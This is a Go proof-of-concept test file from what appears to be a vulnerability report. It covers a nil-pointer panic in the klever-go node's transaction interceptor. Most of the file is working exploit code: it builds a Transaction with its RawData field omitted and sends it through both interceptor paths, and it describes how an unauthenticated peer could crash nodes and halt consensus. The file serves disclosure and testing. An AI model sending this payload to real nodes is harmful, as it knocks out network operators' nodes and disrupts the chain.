// Target component: klever-go P2P transaction interceptor (network availability)
// core/process/transaction/interceptedTransaction.go
// core/versioning/txVersionChecker.go:22
// Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
// CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
// Every gossiped transaction is decoded and validated synchronously inside the
// libp2p pubsub topic-validator callback
// (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
// recover(). The validation chain is:
//
// (Multi|Single)DataInterceptor.ProcessReceivedMessage
// -> InterceptedTransaction.CheckValidity
// -> integrity()
// -> txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version <-- nil deref
//
// CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
// Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
// so an unauthenticated peer can broadcast a few bytes that panic the validation
// goroutine and crash the entire node process. Repeating it against the validator
// set halts consensus.
//
// How to run:
// 1) git clone https://github.com/klever-io/klever-go && cd klever-go
// 2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go
// 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
// The test process aborts with:
// panic: runtime error: invalid memory address or nil pointer dereference
// ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
// ... InterceptedTransaction.integrity ... -> CheckValidity
// ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
// i.e. the crash originates from the interceptor's synchronous message-handling frame,
// exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).
package interceptors_test
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/process"
"github.com/klever-io/klever-go/core/process/interceptors"
txproc "github.com/klever-io/klever-go/core/process/transaction"
"github.com/klever-io/klever-go/core/throttler"
"github.com/klever-io/klever-go/core/versioning"
cryptoMock "github.com/klever-io/klever-go/crypto/mock"
"github.com/klever-io/klever-go/data/batch"
dataTransaction "github.com/klever-io/klever-go/data/transaction"
)
// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
m := &mock.ProtoMarshalizerMock{}
maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
buff, err := m.Marshal(maliciousTx)
if err != nil {
t.Fatalf("marshal malicious tx: %v", err)
}
return buff
}
// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}
func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
m := &mock.ProtoMarshalizerMock{}
return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
TxBuff: buff,
ProtoMarshalizer: m,
SignMarshalizer: m,
Hasher: mock.HasherMock{},
KeyGen: &cryptoMock.SingleSignKeyGenMock{},
Signer: &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
PubkeyConv: &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
ChainID: []byte("chainID"),
TxSignHasher: mock.HasherMock{},
FeeHandler: &mock.FeeHandlerStub{
CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
return &dataTransaction.CostResponse{}, nil
},
},
TxVersionChecker: versioning.NewTxVersionChecker(0),
ForkController: &mock.ForkControllerStub{},
})
}
func (pocTxFactory) IsInterfaceNil() bool { return false }
// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
protoMarsh := &mock.ProtoMarshalizerMock{}
// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
batchBytes, err := protoMarsh.Marshal(b)
if err != nil {
t.Fatalf("marshal batch: %v", err)
}
th, _ := throttler.NewNumGoRoutinesThrottler(5)
mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
Topic: "transactions",
Marshalizer: protoMarsh,
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: batchBytes,
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
// In production this is called by the libp2p pubsub callback, which has no recover().
// The nil-pointer panic therefore propagates and crashes the node process.
_ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
t.Log("no panic: node survived -> NOT vulnerable")
}
// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
th, _ := throttler.NewNumGoRoutinesThrottler(5)
sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
Topic: "transactions",
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: buildMaliciousTxBytes(t),
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
t.Log("no panic: node survived -> NOT vulnerable")
}
Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,
GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:
different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM
read-only isolation); the advisory texts never mention RawData, CheckTxVersion,
txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already
present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is
adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.